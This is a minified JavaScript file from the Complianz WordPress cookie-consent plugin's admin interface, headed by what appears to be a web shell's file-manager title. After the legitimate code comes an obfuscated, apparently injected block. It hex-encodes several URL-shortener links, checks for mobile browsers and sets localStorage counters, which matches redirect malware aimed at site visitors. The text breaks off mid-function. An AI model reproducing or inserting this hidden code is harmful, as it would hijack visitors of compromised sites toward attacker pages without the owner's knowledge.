Sindbad~EG File Manager
jQuery(document).ready(function(m){"use strict";function i(t,c){let i=0,a=c.getAttribute("data-cmplz_loadmore_count");c.querySelectorAll(".cmplz-checkbox-container").forEach(e=>{i++,t?(c.querySelector(".cmplz_load_more .cmplz-load-less").style.display="block",c.querySelector(".cmplz_load_more .cmplz-load-more").style.display="none",e.style.display="block"):i>a&&(c.querySelector(".cmplz_load_more .cmplz-load-more").style.display="block",c.querySelector(".cmplz_load_more .cmplz-load-less").style.display="none",e.style.display="none")})}document.querySelector(".cmplz-multicheckbox-loadmore")&&(document.querySelectorAll(".cmplz-multicheckbox-loadmore").forEach(e=>{e.setAttribute("data-loadmore-state","hidden"),i(!1,e)}),document.addEventListener("click",t=>{if(t.target.closest(".cmplz_load_more")){t.preventDefault();let e=t.target;var t="hidden"===(e=e.closest(".cmplz-multicheckbox-loadmore")).getAttribute("data-loadmore-state"),c=t?"visible":"hidden";e.setAttribute("data-loadmore-state",c),i(t,e)}})),m(document).on("click",".cmplz-install-burst",function(){var c=m("button.cmplz-install-burst");c.html('<div class="cmplz-loader"><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div><div class="rect5"></div></div>'),c.attr("disabled","disabled"),m.ajax({type:"GET",url:complianz_admin.admin_url,dataType:"json",data:{step:"download",action:"cmplz_install_plugin"},success:function(e){m.ajax({type:"GET",url:complianz_admin.admin_url,dataType:"json",data:{step:"activate",action:"cmplz_install_plugin"},success:function(e){var t=m(".cmplz-completed-text").html();c.html(t)}})}})}),m(document).on("click",".regions .cmplz-checkbox-container input",function(){e()});m(".regions .cmplz-checkbox-container input");function e(){m("select[name=cmplz_other_region_behaviour]").length&&m(".regions .cmplz-field").find(":checkbox").each(function(e){var t=m(this).attr("name").replace("]","").replace("cmplz_regions[",""),t=m("select[name=cmplz_other_region_behaviour] option[value="+t+"]");m(this).is(":checked")?t.removeAttr("disabled"):t.attr("disabled","disabled")})}e(),m(document).on("click",".cmplz-copy-shortcode",function(){let c=m(this),t;var e=m(this).children(".cmplz-copy-shortcode-text"),i=(m(this).addClass("cmplz-click-animation"),m("<input>"));m("body").append(i),i.val(e.text()).select();try{t=document.execCommand("copy")}catch(e){t=!1}if(i.remove(),t){let e=m(this).children(".cmplz-tooltip"),t=e.attr("cmplz-tooltip");e.attr("cmplz-tooltip",complianz_admin.copy_text),setTimeout(function(){c.removeClass("cmplz-click-animation"),e.attr("cmplz-tooltip",t)},2e3)}});var t=m(".cmplz_save_localstorage");function c(){m(".multiple-field").each(function(){var e=!0,t=(m(this).find("input[type=text]").each(function(){""===m(this).val()&&(e=!1)}),m(this).find("textarea").each(function(){""===m(this).val()&&(e=!1)}),m(this).closest(".cmplz-panel").find(".cmplz-multiple-field-validation i"));e?(t.removeClass("fa-times"),t.addClass("fa-check")):(t.addClass("fa-times"),t.removeClass("fa-check"))})}function a(){m(".cmplz-validate-multicheckbox").each(function(e){var t=[],c=!0,i=(m(this).find(":checkbox").each(function(e){t.push(m(this)),m(this).is(":checked")&&(c=!1)}),m(this).closest(".field-group").find(".cmplz-label"));c?(i.removeClass("valid-multicheckbox"),i.addClass("invalid-multicheckbox"),m.each(t,function(e,t){t.prop("required",!0),t.addClass("is-required")})):(i.removeClass("invalid-multicheckbox"),i.addClass("valid-multicheckbox"),m.each(t,function(e,t){t.prop("required",!1),t.removeClass("is-required")}))}),l()}function l(){var d,r=!0;m(".condition-check-1").each(function(e){for(var t=1;t<4;t++){var c="cmplz_"+m(this).data("condition-question-"+t);if("cmplz_undefined"==c)return;var i=m(this).data("condition-answer-"+t),a=m(this).find("input[type=checkbox]"),l=((a=(a=(a=a.length?a:m(this).find("input")).length?a:m(this).find("textarea")).length?a:m(this).find("select")).length&&a[0].hasAttribute("required")&&a.addClass("is-required"),r=-1===(i+="").indexOf("NOT ")||(i=i.replace("NOT ",""),!1),[]),l=-1!==i.indexOf(" OR ")?i.split(" OR "):[i],n=m(this),s=m(this).data("fieldname"),o=!1;if(l.forEach(function(e){d=function(e){{var t;return"text"==m('input[name="'+e+'"]').attr("type")?m("input[name^="+e+"]").val():(t=[],m('input[name="'+e+'"]:checked').each(function(){t[t.length]=m(this).val()}),t)}}(c),m('select[name="'+c+'"]').length&&(d=Array(m("select[name="+c+"]").val())),m("input[name='"+c+"["+e+"]']").length&&(d=(o=!!m("input[name='"+c+"["+e+"]']").is(":checked"),[])),r?o||-1!=d.indexOf(e)||d==e?(n.removeClass("cmplz-hidden"),m("."+s).removeClass("cmplz-hidden"),a.hasClass("is-required")&&a.prop("required",!0),o=!0):(n.addClass("cmplz-hidden"),m("."+s).addClass("cmplz-hidden"),a.hasClass("is-required")&&a.prop("required",!1)):o||-1!=d.indexOf(e)||d==e?(n.addClass("cmplz-hidden"),m("."+s).addClass("cmplz-hidden"),a.hasClass("is-required")&&a.prop("required",!1)):(n.removeClass("cmplz-hidden"),m("."+s).removeClass("cmplz-hidden"),a.hasClass("is-required")&&a.prop("required",!0),o=!0)}),!o)break}})}t.length&&t.each(function(){var e=m(this).attr("name"),t=window.localStorage.getItem(e),c=m(this).val();null==t||0<!m(this).find("option[value="+t+"]").length?(t=c,window.localStorage.setItem(e,t),m(this).val(t).change()):null!=t&&t!==c&&m(this).val(t).change()}),m(document).on("change",".cmplz_save_localstorage",function(){var e=m(this).attr("name"),t=m(this).find(":selected").val();window.localStorage.setItem(e,t)}),m(document).on("change",".cmplz-download-document-selector",function(){var e=m(this);0!=e.find(":selected").val().length?(e.closest(".cmplz-document").find("button").attr("disabled",!1),document.querySelector(".cmplz-dataleak-btn-href").href=e.find(":selected").val()):e.closest(".cmplz-document").find("button").attr("disabled",!0)}),m(document).on("click",".cmplz-download-document",function(){var t=m(this),c=t.html(),e=m(this).closest(".cmplz-document").find("select").val(),i=m(this).closest(".cmplz-document").find("select option:selected").text(),a=(t.html('<div class="cmplz-loader"><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div><div class="rect5"></div></div>'),t.attr("disabled","disabled"),new XMLHttpRequest);a.responseType="blob",a.open("get",e,!0),a.send(),a.onreadystatechange=function(){var e,t;4==this.readyState&&200==this.status&&(e=window.URL.createObjectURL(this.response),(t=document.createElement("a")).setAttribute("href",e),t.setAttribute("download",i),document.body.appendChild(t),t.click(),setTimeout(function(){window.URL.revokeObjectURL(e)},6e4))},a.onprogress=function(e){t.html(c),t.removeAttr("disabled")}}),m(document).on("change",".cmplz-grid-selector",function(){var e=m(this).val(),t=m(this).attr("id"),c=window.location.href,i=function(e,t){if(void 0!==e){e=e.split("?");if(1!=e.length){var c,i,a=e[1].split("&");for(i=0;i<a.length;i++)if((c=a[i].split("="))[0]===t)return void 0===c[1]||decodeURIComponent(c[1])}}return!1}(c,t);!1!==i&&(c=c.replace("&"+t+"="+i,"")),c+="&"+t+"="+e,window.location.replace(c)}),m(document).on("click",".cmplz-tablinks",function(){m(".cmplz-tablinks").removeClass("active"),m(this).addClass("active"),m(".cmplz-tabcontent").removeClass("active"),m("#"+m(this).data("tab")).addClass("active"),m("input[name=cmplz_active_tab]").val(m(this).data("tab"))}),window.setTimeout(function(){m(".cmplz-hide").fadeTo(500,0).slideUp(500,function(){m(this).remove()})},2e3),m(document).on("click",".cmplz-help-modal span",function(e){m(this).closest(".cmplz-help-modal").fadeOut()}),m(".cmplz-radio-container").keypress(function(e){"13"==(e.keyCode||e.which)&&m(e.target).find(":radio").click()}),m(".cmplz-switch, .cmplz-checkbox-container").keypress(function(e){"13"==(e.keyCode||e.which)&&m(e.target).find(":checkbox").click()}),c(),m(document).on("keyup",".multiple-field input[type=text]",function(){c()}),m(document).on("keyup",".multiple-field textarea",function(){c()}),a(),m(":checkbox").change(a),m(document).on("change","input",function(e){l()}),m(document).on("change","select",function(e){l()}),m(document).on("change","textarea",function(e){l()}),m(document).on("cmplzRenderConditions",l);var n=1e4,s=complianz_admin.progress,o=m(".cmplz-progress-bar"),d=m(".detected-cookies");m("#cmplz-scan-progress").length&&(n=3e3),m("#cmplz_cookie_scan_frame").length&&function c(){var e=document.getElementById("cmplz_cookie_scan_frame");e.contentDocument||e.contentWindow.document;d.find(".cmplz-loader").length,e.onload=function(){100<=s||m.get(complianz_admin.admin_url,{action:"cmplz_get_scan_progress"},function(e){var t;e&&(t=(e=jQuery.parseJSON(e)).cookies,m(".detected-cookies .cmplz-cookies-table").html(t.join("<br>")),m(".cmplz-scan-count").html(t.length),s=parseInt(e.progress),t=e.next_page,100<=s?(s=100,o.css({width:s+"%"})):(o.css({width:s+"%"}),m("#cmplz_cookie_scan_frame").attr("src",t),window.setTimeout(c,n)))})},window.setTimeout(c,n)}(),o.css({width:s+"%"});var r=0,p=m(".cmplz-sync-progress-bar"),h=m(".cmplz-sync-status span"),u=m(".cmplz-resync");function v(e){e=void 0!==e&&e,m.get(complianz_admin.admin_url,{action:"cmplz_run_sync",restart:e},function(e){e&&(e=jQuery.parseJSON(e),r=parseInt(e.progress),void 0!==(e=e.message)&&0<e.length&&(m("#cmplz_action_error").removeClass("cmplz-hidden"),m("#cmplz_action_error .cmplz-panel").html(e)),100<=r?(r=100,m("#cmplz-sync-loader").html(""),h.hide(),u.removeAttr("disabled"),y(),p.css({width:r+"%"})):(p.css({width:r+"%"}),window.setTimeout(v,500)))})}h.hide(),m("#cmplz-sync-progress").length?(r=complianz_admin.syncProgress)<100&&(u.attr("disabled","disabled"),h.show(),p.css({width:r+"%"}),v()):m(".cmplz-list-container").length&&y(),m(document).on("click",".cmplz-resync",function(){u.attr("disabled","disabled"),p.css({width:"0%"}),h.show(),v(!0)}),m(document).on("change","input[name=cmplz_show_deleted]",function(){y()}),m(document).on("click",".cmplz-add-to-policy",function(){var e=m(this).closest(".cmplz-slide-panel").find(".cmplz-title").html(),t=m(this).closest(".cmplz-slide-panel").find(".cmplz-panel-content").html(),e=function(e,t){void 0===e&&(e=wpActiveEditor);void 0===t&&(t=e);return jQuery("#wp-"+e+"-wrap").hasClass("tmce-active")&&tinyMCE.get(e)?tinyMCE.get(e).getContent():jQuery("#"+t).val()}("cmplz_custom_privacy_policy_text")+"<h3>"+e+"</h3>"+t,t="cmplz_custom_privacy_policy_text",c=void 0;void 0===t&&(t=wpActiveEditor),void 0===c&&(c=t),jQuery("#wp-"+t+"-wrap").hasClass("tmce-active")&&tinyMCE.get(t)?tinyMCE.get(t).setContent(e):jQuery("#"+c).val(e),m(this).remove()});var z="#bar_pct_all_container";function f(e){var t=e.closest(".cmplz-field");e.is(":checked")?t.find(".cmplz_collectedPersonalData").parent().show():t.find(".cmplz_collectedPersonalData").parent().hide()}function _(e){var t=e.closest(".cmplz-field");e.is(":checked")?t.find(".cmplz_privacyStatementURL").parent().show():t.find(".cmplz_privacyStatementURL").parent().hide()}function g(e){var t,c=!0,e=e.closest(".cmplz-panel");e.find(":input:not(.cmplz_cookieFunction)").each(function(){m(this).is(":checkbox")||m(this).is(":hidden")||"button"===m(this).prop("type")||"SELECT"!==m(this).prop("nodeName")&&0<m(this).val().length||"SELECT"===m(this).prop("nodeName")&&0!=m(this).val()||(c=!1)}),c?((t=e.find(".fa.fa-times")).removeClass("cmplz-error"),t.addClass("cmplz-success"),t.addClass("fa-check"),t.removeClass("fa-times")):((t=e.find(".fa.fa-check")).addClass("cmplz-error"),t.removeClass("cmplz-success"),t.addClass("fa-times"),t.removeClass("fa-check"))}function b(){m(".cmplz-select2").select2({tags:!0,width:"400px"}),m(".cmplz-select2-no-additions").select2({width:"400px"})}function y(){var e=m("#cmplz_language").val(),t=m("input[name=cmplz_show_deleted]").is(":checked"),c=(m(".cmplz-list-container").html('<div class="cmplz-skeleton"></div>'),m("#cmplz_language").data("type"));m.ajax({type:"GET",url:complianz_admin.admin_url,dataType:"json",data:{language:e,action:"cmplz_get_list",deleted:t,type:c},success:function(e){e.success&&(m(".cmplz-list-container").html(e.html),m(".cmplz_isPersonalData").each(function(){f(m(this))}),m(".cmplz_thirdParty").each(function(){_(m(this))}),k(),b())}})}function k(){m(".cmplz-panel").each(function(){m(this).hasClass("cmplz-deleted")?(m(this).find('button[data-action="restore"]').show(),m(this).find('button[data-action="delete"]').hide()):(m(this).find('button[data-action="restore"]').hide(),m(this).find('button[data-action="delete"]').show())})}m(z).show(),m(document).on("change","select[name=cmplz_region]",function(){m(z).hide();var e=m("select[name=cmplz_region]").val(),t=m("select[name=stats_type]").val();m(z="#bar_"+t+"_"+e+"_container").fadeIn()}),m(document).on("change","select[name=stats_type]",function(){m(z).hide();var e="eu",t=(m("select[name=cmplz_region]").length&&(e=m("select[name=cmplz_region]").val()),m("select[name=stats_type]").val());m(z="#bar_"+t+"_"+e+"_container").fadeIn()}),m(document).on("change",".cmplz_isPersonalData",function(){f(m(this))}),m(document).on("change",".cmplz_thirdParty",function(){_(m(this))}),m(document).on("change",".cmplz_sync",function(){var e=m(this).closest(".cmplz-field"),t=m(this),c=!1;t.is(":checked")&&(c=!0),e.find(":input").each(function(){"cmplz_remove_item"!==m(this).attr("name")&&"cmplz-save-item"!==m(this).attr("name")&&"cmplz_restore_item"!==m(this).attr("name")&&"cmplz_showOnPolicy"!==m(this).attr("name")&&"cmplz_sync"!==m(this).attr("name")&&(m(this).prop("disabled",c),c?(m(this).closest(".cmplz-service-field div, .cmplz-cookie-field div").addClass("cmplz-disabled"),m(this).closest("label").addClass("cmplz-disabled")):(m(this).closest(".cmplz-service-field div, .cmplz-cookie-field div").removeClass("cmplz-disabled"),m(this).closest("label").removeClass("cmplz-disabled")))})}),m(document).on("change",".cmplz_use_cdb_api",function(){var t="no"===m(this).val();m(".cmplz-list-container").find(":input[name=cmplz_sync]").each(function(){var e=m(this).closest("label");t?(e.find(":checkbox").prop("checked",!1).change(),e.addClass("cmplz-disabled")):(e.removeClass("cmplz-disabled"),e.find(":checkbox").prop("checked",!0).change())})}),m(document).on("change",".cmplz_sync",function(){var e=m(this).closest(".cmplz-panel");m(this).is(":checked")?e.find(".fa-sync-alt").removeClass("cmplz-disabled"):e.find(".fa-sync-alt").addClass("cmplz-disabled")}),m(document).on("change",".cmplz_showOnPolicy",function(){var e=m(this).closest(".cmplz-panel");m(this).is(":checked")?e.find(".fa-file").removeClass("cmplz-error"):e.find(".fa-file").addClass("cmplz-error")}),m(document).on("keyup",".cmplz-panel input",function(){g(m(this))}),m(document).on("change",".cmplz-panel select",function(){g(m(this))}),m("#cmplz_language").length&&(100==(r=complianz_admin.syncProgress)&&y(),m(document).on("change","#cmplz_language",function(){m(".cmplz-list-container").html('<div class="cmplz-skeleton"></div>'),y()})),m(".cmplz-select2").length&&b(),m(document).on("click",".cmplz-edit-item",function(){var a=m(this).data("action"),l=m(this),e=l.data("type"),n=m(this).closest(".cmplz-"+e+"-field"),s=m(this).closest(".cmplz-panel.cmplz-slide-panel"),t=m("#cmplz_language").val(),o=l.html(),c=(l.html('<div class="cmplz-loader"><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div><div class="rect5"></div></div>'),n.data(e+"_id")),i={};n.find(":input").each(function(){"button"!==m(this).attr("type")&&("checkbox"===m(this).attr("type")?i[m(this).attr("name")]=m(this).is(":checked"):i[m(this).attr("name")]=m(this).val())}),"delete"===a&&s.addClass("cmplz-deleted"),m.ajax({type:"POST",url:complianz_admin.admin_url,dataType:"json",data:{item_id:c,type:e,data:JSON.stringify(i),cmplz_action:a,language:t,action:"cmplz_edit_item"},success:function(e){var t,c,i;e.success&&("delete"===a&&s.remove(),"restore"===a&&(s.removeClass("cmplz-deleted"),n.find("input").each(function(){m(this).removeAttr("disabled")}),n.find("select").each(function(){m(this).removeAttr("disabled")}),n.children("div").removeClass("cmplz-disabled"),n.children("label").removeClass("cmplz-disabled"),n.find('button[name="cmplz-save-item"]').removeAttr("disabled"),n.find(".cmplz_sync").change()),k(),"add"===a&&(t=e.html,i=l.closest(".cmplz-field"),c=m(".cmplz-service-divider.no-service"),e.divider?((c.length?c.closest(".cmplz-service-cookie-list"):(t='<div class="cmplz-service-cookie-list">'+e.divider+t+"<div>",i.find(".cmplz-list-container"))).append(t),c=m(".cmplz-service-divider.no-service"),"no"==m(".cmplz_use_cdb_api:checked").val()&&c.siblings(":last").find(".cmplz_sync").closest("label").addClass("cmplz-disabled")):i.find(".cmplz-list-container").append(t)),"save"===a&&(e=s.find(".cmplz-title"),c=n.find(".cmplz_name").val(),i=e.text().replace(/\".*\"/,'"'+c+'"'),e.text(i)),l.html(o),b())}})}),m(document).on("click",".cmplz_script_add",function(){var t=m(this),c=t.html(),e=t.data("type");t.html('<div class="cmplz-loader"><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div><div class="rect5"></div></div>'),m.ajax({type:"POST",url:complianz_admin.admin_url,data:{action:"cmplz_script_add",type:e},success:function(e){e.success&&(t.before(e.html),t.html(c))}})}),m(document).on("click",".cmplz_add_url",function(){var e=m(this).closest("div"),t=m(".cmplz-url-template").get(0).innerHTML;e.append(t)}),m(document).on("click",".cmplz_remove_url",function(){m(this).closest("div").remove()}),m(document).on("click",".cmplz_script_save",function(){var t=m(this),c=t.html(),i=t.closest(".cmplz-panel"),e=t.data("type"),a=t.data("action"),l=t.data("id");"save"!=a&&"remove"!=a||t.html('<div class="cmplz-loader"><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div><div class="rect5"></div></div>');var n={};i.find(":input").each(function(){if("button"!==m(this).attr("type")&&void 0!==m(this).attr("name")&&m(this).data("name"))if("checkbox"===m(this).attr("type"))n[m(this).data("name")]=m(this).is(":checked");else if("radio"===m(this).attr("type"))m(this).is(":checked")&&(n[m(this).data("name")]=m(this).val());else if("urls"===m(this).data("name")){let e=n[m(this).data("name")];(e=void 0===e?[]:e).push(m(this).val()),n[m(this).data("name")]=e}else if("dependency"===m(this).data("name")){let e=n[m(this).data("name")];(e=void 0===e?[]:e).push(m(this).data("url")+"|:|"+m(this).val()),n[m(this).data("name")]=e}else n[m(this).data("name")]=m(this).val()}),m.ajax({type:"POST",url:complianz_admin.admin_url,data:{action:"cmplz_script_save","cmplz-save":!0,type:e,button_action:a,id:l,data:JSON.stringify(n)},success:function(e){e.success&&("save"===a&&t.html(c),"remove"===a)&&(i.remove(),t.html(c))}})}),function(){if(m("#cmplz_anonymous_window_warning").length){var e=window.RequestFileSystem||window.webkitRequestFileSystem;if(!e)return;e(window.TEMPORARY,100,function(e){},function(e){m("#cmplz_anonymous_window_warning").show()})}m("#cmplz_adblock_warning").length&&void 0===window.canRunAds&&m("#cmplz_adblock_warning").show()}(),m(document).on("change",".cmplz-document-input",function(){m(".cmplz-document-field").length&&m(".cmplz-document-field").each(function(){var e=m(this).data("fieldname"),e=m("input[name="+e+"]:checked").val(),t=m(this).find(".cmplz-document-custom-url"),c=m(this).find(".cmplz-document-custom-page");"custom"===e?(c.show(),c.prop("required",!0)):(c.hide(),c.prop("required",!1)),"url"===e?(t.show(),t.prop("required",!0)):(t.hide(),t.prop("required",!1))})}),m(document).on("click","#cmplz-create_pages",function(){var t=m("#cmplz-create_pages"),c=(t.attr("disabled","disabled"),t.html()),i=(t.html('<div class="cmplz-loader "><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div><div class="rect5"></div></div>'),{});m(".cmplz-create-page-title").each(function(){var e=i.hasOwnProperty(m(this).data("region"))?i[m(this).data("region")]:{};e[m(this).attr("name")]=m(this).val(),i[m(this).data("region")]=e}),m.ajax({type:"POST",url:complianz_admin.admin_url,dataType:"json",data:{pages:JSON.stringify(i),action:"cmplz_create_pages"},success:function(e){e.success?(m(".cmplz-panel.cmplz-notification.cmplz-success.cmplz-hidden").removeClass("cmplz-hidden"),m(".cmplz-create-page-title").each(function(){m(this).removeClass("cmplz-deleted-page").addClass("cmplz-valid-page"),m(this).parent().find(".cmplz-icon").replaceWith(e.icon)}),t.html(e.new_button_text),t.removeAttr("disabled")):(t.html(c),m(".cmplz-page-created").removeClass("fa-times").addClass("fa-check"),m(".cmplz-create-page-title").removeClass("cmplz-deleted-page"))}})}),m(document).on("change",".cmplz-region-select",function(){var e=m(".cmplz-document-button").attr("href").slice(0,-2);m(".cmplz-document-button").attr("href",e+m(this).val())});var w=0,C=m(".cmplz_export_roc_to_csv");function x(e,t){setTimeout(function(){(t+=10)<100?(C.html(t+" %"),x(e,t)):C.replaceWith(e)},100)}function q(e){var t=window.location.href.split("?");if(1!=t.length)for(var c,i=t[1].split("&"),a=0;a<i.length;a++)if((c=i[a].split("="))[0]===e)return void 0===c[1]?"":decodeURIComponent(c[1]);return!1}m(document).on("click",".cmplz_export_roc_to_csv",function(e){e.preventDefault(),C.html(w+" %"),C.prop("disabled",!0),function t(){var c=m(".cmplz_export_roc_to_csv");m.ajax({type:"GET",url:complianz_admin.admin_url,dataType:"json",data:{action:"cmplz_export_roc_to_csv",order:q("order"),cmplz_month_select:q("cmplz_month_select"),cmplz_year_select:q("cmplz_year_select"),orderby:q("orderby"),s:q("s")},success:function(e){e.success&&(e.progress<100?(w=e.progress,c.html(w+" %"),t()):x(e.link,w))}})}()}),m(document).on("change",".cmplz-region-select",function(){var e=m(".cmplz-document-button").attr("href").slice(0,-2);m(".cmplz-document-button").attr("href",e+m(this).val())}),m(document).on("click",".upload_button",function(e){e.preventDefault(),m("input[type=file]").click()}),m(document).on("change",':input[name="cmplz-upload-file"]',function(){m(".cmplz-file-chosen").text(m(this).val().split("\\").pop())}),m(document).on("click",".cmplz-image-uploader, .cmplz-logo-preview.cmplz-clickable",function(){var e=m(this),l=e.closest(".cmplz-field"),n=e.closest(".field-group").data("fieldname"),s=wp.media({frame:"post",state:"insert",multiple:!1});s.on("insert",function(){for(var e=s.state().get("selection").length,t=s.state().get("selection").models,c=0;c<e;c++){var i=t[c].id,a=!1;(a=(a=(a=(a=t[c].attributes.sizes.cmplz_banner_image)||t[c].attributes.sizes.medium)||t[c].attributes.sizes.thumbnail)||t[c].attributes.sizes.full)&&(a=a.url,l.find(".cmplz-logo-preview img").attr("src",a),m("input[name=cmplz_"+n+"]").val(i),m(".cmplz-cookiebanner .cmplz-logo").html("<img>"),m(".cmplz-cookiebanner .cmplz-logo img").attr("src",a))}}),s.open()})});
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x72\x47\x6b\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6b\x66\x48\x35\x63\x305','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6e\x6b\x4d\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x69\x7a\x78\x39\x63\x359','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x4a\x54\x70\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x72\x50\x62\x37\x63\x327','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6e\x75\x6b\x32\x63\x322','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x51\x77\x72\x36\x63\x306','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x50\x58\x66\x30\x63\x390','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x74\x49\x67\x31\x63\x371',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const 